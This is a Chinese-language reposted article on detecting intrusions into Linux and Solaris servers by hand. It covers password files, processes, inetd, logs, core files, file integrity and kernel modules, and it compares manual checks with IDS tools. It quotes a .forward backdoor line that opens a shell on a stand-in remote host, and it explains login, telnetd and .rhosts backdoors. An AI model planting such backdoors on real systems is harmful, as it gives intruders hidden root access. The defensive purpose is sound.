0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

解析Linux如何判断自己的服务器是否被入侵的检测方法

马哥Linux运维 2018-01-13 10:27 次阅读

如何判断自己的服务器是否被入侵了呢?仅仅靠两只手是不够的,但两只手也能起到一些作用,我们先来看看UNIX系统上一些入侵检测方法,以LINUX和solaris为例。

1、检查系统密码文件

首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。

检查一下passwd文件中有哪些特权用户,系统中uid为0的用户都会被显示出来。

顺便再检查一下系统里有没有空口令帐户:

2、查看一下进程,看看有没有奇怪的进程

重点查看进程:

ps –aef | grep inetd

inetd是UNIX系统的守护进程,正常的inetd的pid都比较靠前,如果你看到输出了一个类似inetd –s /tmp/.xxx之类的进程,着重看inetd –s后面的内容。在正常情况下,LINUX系统中的inetd服务后面是没有-s参数的,当然也没有用inetd去启动某个文件;而solaris系统中也仅仅是inetd –s,同样没有用inetd去启动某个特定的文件;如果你使用ps命令看到inetd启动了某个文件,而你自己又没有用inetd启动这个文件,那就说明已经有人入侵了你的系统,并且以root权限起了一个简单的后门。

输入ps –aef 查看输出信息,尤其注意有没有以./xxx开头的进程。一旦发现异样的进程,经检查为入侵者留下的后门程序,立即运行kill –9 pid 开杀死该进程,然后再运行ps –aef查看该进程是否被杀死;一旦此类进程出现杀死以后又重新启动的现象,则证明系统被人放置了自动启动程序的脚本。这个时候要进行仔细查找:find / -name 程序名 –print,假设系统真的被入侵者放置了后门,根据找到的程序所在的目录,会找到很多有趣的东东J

UNIX下隐藏进程有的时候通过替换ps文件来做,检测这种方法涉及到检查文件完整性,稍后我们再讨论这种方法。接下来根据找到入侵者在服务器上的文件目录,一步一步进行追踪。

3、检查系统守护进程

检查/etc/inetd.conf文件,输入:cat /etc/inetd.conf | grep –v “^#”,输出的信息就是你这台机器所开启的远程服务。

一般入侵者可以通过直接替换in.xxx程序来创建一个后门,比如用/bin/sh 替换掉in.telnetd,然后重新启动inetd服务,那么telnet到服务器上的所有用户将不用输入用户名和密码而直接获得一个rootshell。

4、检查网络连接和监听端口

输入netstat -an,列出本机所有的连接和监听的端口,查看有没有非法连接。

输入netstat –rn,查看本机的路由、网关设置是否正确。

输入 ifconfig –a,查看网卡设置。

5、检查系统日志

命令last | more查看在正常情况下登录到本机的所有用户的历史记录。但last命令依赖于syslog进程,这已经成为入侵者攻击的重要目标。入侵者通常会停止系统的syslog,查看系统syslog进程的情况,判断syslog上次启动的时间是否正常,因为syslog是以root身份执行的,如果发现syslog被非法动过,那说明有重大的入侵事件。

在linux下输入ls –al /var/log

在solaris下输入 ls –al /var/adm

检查wtmp utmp,包括messgae等文件的完整性和修改时间是否正常,这也是手工擦除入侵痕迹的一种方法。

6、检查系统中的core文件

通过发送畸形请求来攻击服务器的某一服务来入侵系统是一种常规的入侵方法,典型的RPC攻击就是通过这种方式。这种方式有一定的成功率,也就是说它并不能100%保证成功入侵系统,而且通常会在服务器相应目录下产生core文件,全局查找系统中的core文件,输入find / -name core –exec ls –l {} ; 依据core所在的目录、查询core文件来判断是否有入侵行为。

7、.rhosts和.forward

这是两种比较著名的后门文件,如果想检查你的系统是否被入侵者安装了后门,不妨全局查找这两个文件:

find/-name“.rhosts”–print

find/-name“.forward”–print

在某用户的$HOME下,.rhosts文件中仅包含两个+号是非常危险的,如果你的系统上开了513端口(rlogin端口,和telnet作用相同),那么任意是谁都可以用这个用户登录到你的系统上而不需要任何验证。

Unix下在.forward文件里放入命令是重新获得访问的常用方法在某一 用户$HOME下的.forward可能设置如下:

username|"/usr/local/X11/bin/xterm-disphacksys.other.dom:0.0–e/bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail类程序, 很有可能还有问题。在Solaris系统下,如果你运行如下命令:

ln-s/var/mail/luser~/.forward

然后设置vacation有效,那么/var/mail/luser就会被拷贝到~/.forward,同时会附加"|/usr/bin/vacation me",旧的symlink被移到~/.forward..BACKUP中。直接删除掉这两个文件也可以。

8、检查系统文件完整性

检查文件的完整性有多种方法,通常我们通过输入ls –l 文件名来查询和比较文件,这种方法虽然简单,但还是有一定的实用性。但是如果ls文件都已经被替换了就比较麻烦。在LINUX下可以用rpm –V `rpm –qf 文件名` 来查询,国家查询的结果是否正常来判断文件是否完整。在LINUX下使用rpm来检查文件的完整性的方法也很多,这里不一一赘述,可以man rpm来获得更多的格式。

UNIX系统中,/bin/login是被入侵者经常替换作为后门的文件,接下来谈一下login后门 :

UNIX里,Login程序通常用来对telnet来的用户进行口令验证。入侵者获取login的源代码并修改,使它在比较输入口令与存储口令时先检查后门口令。如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入:这将允许入侵者进入任何账号,甚至是root目录。由于后门口令是在用户真实登录并被日志记录到utmp和wtmP前产生的一个访问,所以入侵者可以登录获取shell却不会暴露该账号。管理员注意到这种后门后,使用”strings”命令搜索login程序以寻找文本信息。许多情况下后门口令会原形毕露。入侵者又会开始加密或者更改隐藏口令,使strings命令失效。所以许多管理员利用MD5校验和检测这种后门。UNIX系统中有md5sum命令,输入md5sum 文件名检查该文件的md5签名。它的使用格式如下:md5sum –b 使用二进制方式阅读文件;md5sum –c 逆向检查MD5签名;md5sum –t 使用文本方式阅读文件。

在前面提到过守护进程,对于守护进程配置文件inetd.conf中没有被注释掉的行要进行仔细比较,举个简单的例子,如果你开放了telnet服务,守护进程配置文件中就会有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

可以看到它所使用的文件是 /usr/sbin/in.telnetd,检查该文件的完整性,入侵者往往通过替换守护进程中允许的服务文件来为自己创建一个后门。

LINUX系统中的/etc/crontab也是经常被入侵者利用的一个文件,检查该文件的完整性,可以直接cat /etc/crontab,仔细阅读该文件有没有被入侵者利用来做其他的事情。

不替换login等文件而直接使用进程来启动后门的方法有一个缺陷,即系统一旦重新启动,这个进程就被杀死了,所以得让这个后门在系统启动的时候也启动起来。通常通过检查/etc/rc.d下的文件来查看系统启动的时候是不是带有后门程序;这个方法怎么有点象查windows下的trojan?

说到这里,另外提一下,如果在某一目录下发现有属性为这样的文件:-rwsr-xr-x 1 root root xxx .sh,这个表明任何用户进来以后运行这个文件都可以获得一个rootshell,这就是setuid文件。运行 find –perm 4000 –print对此类文件进行全局查找,然后删除这样的文件。

9、检查内核级后门

如果你的系统被人安装了这种后门,通常都是比较讨厌的,我常常就在想,遇到这种情况还是重新安装系统算了J,言归正传,首先,检查系统加载的模块,在LINUX系统下使用lsmod命令,在solaris系统下使用modinfo命令来查看。这里需要说明的是,一般默认安装的LINUX加载的模块都比较少,通常就是网卡的驱动;而solaris下就很多,没别的办法,只有一条一条地去分析。对内核进行加固后,应禁止插入或删除模块,从而保护系统的安全,否则入侵者将有可能再次对系统调用进行替换。我们可以通过替换create_module()和delete_module()来达到上述目的。

另外,对这个内核进行加固模块时应尽早进行,以防系统调用已经被入侵者替换。如果系统被加载了后门模块,但是在模块列表/proc/module里又看不到它们,有可能是使用了hack工具来移除加载的模块,大名鼎鼎的knark工具包就有移除加载模块的工具。出现这种情况,需要仔细查找/proc目录,根据查找到的文件和经验来判断被隐藏和伪装的进程。Knark后门模块就在/proc/knark目录,当然可能这个目录是隐藏的。

10、手工入侵检测的缺陷

上面谈了一些手工入侵检测的方法,但这些方式有一定的缺陷,有的甚至是不可避免的缺陷,这就是为什么说手工检测是“体力活”的原因。我们先来看看这些缺陷:

1)手工入侵检测只能基于主机,也就是说所有的入侵检测工作只能在操作系统下面完成,这是它固有的缺陷;基本上所有凌驾于操作系统之外的入侵行为统统无法探测得到。网络级的入侵,交换机、路由器上面的入侵和攻击行为,作为服务器的操作系统都无法得知;信息已经从主机发送出去了,如果在传送的介质当中被拦截,主机的操作系统是永远无动于衷的。

2)手工的入侵检测要求精通操作系统,并且漏洞库资料的刷新要快;在做一个网管的同时要做一个黑客。可以说经验的积累永远跟不上全世界漏洞资料的更新,难保系统不被新的漏洞所侵入。

3)手工入侵检测只是“就事论事”,根据发生的某一情况判断入侵事件,再作出相应的对应和防范措施,而无法预先根据入侵者的探测行为作出对攻击事件的描述,定义事件级别,在不防碍系统正常工作的情况下阻止下一步对系统的入侵行为。

4)可以通过手工入侵检测发现主机上的某些漏洞,进而作出相应的安全措施。但却避免不了一种现象:无法避免两个入侵者利用同一个漏洞攻击主机,即无法判断攻击模式来切断入侵行为。

5)综上所述,手工的入侵检测行为对于系统安全来说只是治标而不治本,多半还是依靠管理员的技巧和经验来增强系统的安全性,没有,也不可能形成真正的安全体系,虽然聊胜于无,可以检测和追踪到某些入侵行为,但如果碰上同样精通系统的入侵者就很难抓住踪迹了。

11、入侵检测系统的比较

搭建真正的安全体系需要入侵检测系统—IDS,一个优秀的入侵检测系统辅以系统管理员的技巧和经验可以形成真正的安全体系,有效判断和切断入侵行为,真正保护主机、资料。人们有时候会以为ISS的realsecure是优秀的入侵检测系统,其实不然,realsecure带有一定的缺陷,不谈它对事件的误报、漏报和错报,首先它是一个英文的软件,使用和熟悉起来有一定的难度。而且由于是外国人的软件,很多hack对realsecure有深入的研究,已经发掘出它的一些漏洞,甚至是固有漏洞,我就曾经测试出有的攻击手段可以令realsecure瘫痪。

再者,realsecure也是架设在服务器操作系统之上的,操作系统停止工作,同样令之停止工作,换句话说,很简单,攻击者攻击的目标往往就是realsecure本身。设想,假设你的系统依赖于入侵检测系统,而入侵检测系统被攻击者搞掉,那你的系统将大门敞开,任由出入,后果不堪设想。

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    87

    文章

    11300

    浏览量

    209401
  • 服务器
    +关注

    关注

    12

    文章

    9139

    浏览量

    85377
  • Solaris
    +关注

    关注

    0

    文章

    6

    浏览量

    7908

原文标题:Linux如何判断自己的服务器是否被入侵

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    linux服务器和windows服务器

    和适用性。 首先,Linux服务器是一种基于开源的操作系统,其内核是由许多个人和组织共同开发和维护的。它具有高度的稳定性和安全 性。由于Linux操作系统的开放性,用户可以根据自己的需
    发表于 02-22 15:46

    [转帖]用独立服务器的站长常犯的错误

    服务器装完了系统都有个默认的密码的,不修改的话很容易被黑。4、请用检测软件查看您服务器的硬件使用检测软件可以得到你服务器中大部分硬件的品牌
    发表于 03-18 15:53

    用独立服务器的站长常犯的错误

    服务器装完了系统都有个默认的密码的,不修改的话很容易被黑。4、请用检测软件查看您服务器的硬件使用检测软件可以得到你服务器中大部分硬件的品牌
    发表于 03-19 12:02

    宝界科技WEB服务器立体防御解决方案

    ,与网络层设备防火墙、入侵检测系统进行互动,一旦发现攻击篡改行为立即告知防火墙、入侵检测系统,由它们自动判断攻击源,实时切断其网络链接。 汲
    发表于 05-17 14:01

    宝界科技WEB服务器立体防御解决方案

    ,与网络层设备防火墙、入侵检测系统进行互动,一旦发现攻击篡改行为立即告知防火墙、入侵检测系统,由它们自动判断攻击源,实时切断其网络链接。 汲
    发表于 08-19 11:02

    入侵服务器的症状分析与应对方法

    本指南中所谓的服务器入侵或者说被黑了的意思,是指未经授权的人或程序为了自己的目的登录到服务器上去并使用其计算资源,通常会产生不好的影响。
    的头像 发表于 12-25 10:26 3801次阅读

    如何判断网站是否CC攻击

    如何判断网站是否CC攻击 什么是CC攻击?CC就是模拟多个用户不停地进行访问那些需要大量数据操作的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网
    发表于 01-30 15:22 452次阅读
    如何<b class='flag-5'>判断</b>网站<b class='flag-5'>是否</b><b class='flag-5'>被</b>CC攻击

    如何查看云服务器是否遭受过网络攻击

    服务器怎么查看攻击?有时候云服务器出现异常,有可能是人为操作不当引起的,也有可能是系统被黑客入侵了。
    发表于 01-05 11:26 2296次阅读

    判断Linux库文件编译时是否运用-g选项的方法

    判断Linux库文件编译时是否运用-g选项的方法
    的头像 发表于 06-22 08:40 3446次阅读
    <b class='flag-5'>判断</b><b class='flag-5'>Linux</b>库文件编译时<b class='flag-5'>是否</b>运用-g选项的<b class='flag-5'>方法</b>

    如何鉴别Linux服务器是否入侵

    随着开源产品的越来越盛行,作为一个Linux运维工程师,能够清晰地鉴别异常机器是否已经入侵了显得至关重要,个人结合自己的工作经历,整理了几
    的头像 发表于 03-16 10:08 1298次阅读

    服务器入侵挖矿的过程与解决方法

    常在河边走,哪能不湿鞋。自认为安全防范意识不错,没想到服务器入侵挖矿的事情也能落到自己头上。
    的头像 发表于 07-22 16:47 6792次阅读

    Linux服务器常见的网络故障排查方法

    日常工作中我们有时会遇到服务器网络不通问题,导致服务器无法正常运行。要想解决服务器网络故障问题,通常要先进行网络故障排查,这里以Linux服务器
    的头像 发表于 04-14 15:47 2810次阅读

    手动检测是否入侵

    Gitlab代码是否又被修改过,用gitdiff查看 查看代码的日志 代码是否改动过 查看服务器日志 是否有被劫持 查看登录记录 查看非
    发表于 02-29 10:45 1024次阅读

    服务器入侵现象、排查和处理步骤

    近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是: 服务器 CPU 资源长期 100%,负载较高。 服务器上面的
    发表于 03-22 10:56 1116次阅读
    <b class='flag-5'>服务器</b><b class='flag-5'>入侵</b>现象、排查和处理步骤

    Linux服务器性能查看方法

    Linux服务器性能查看是系统管理员和开发人员在日常工作中经常需要进行的任务,以确保系统稳定运行并优化资源使用。以下将详细介绍多种Linux服务器性能查看的
    的头像 发表于 09-02 11:15 1052次阅读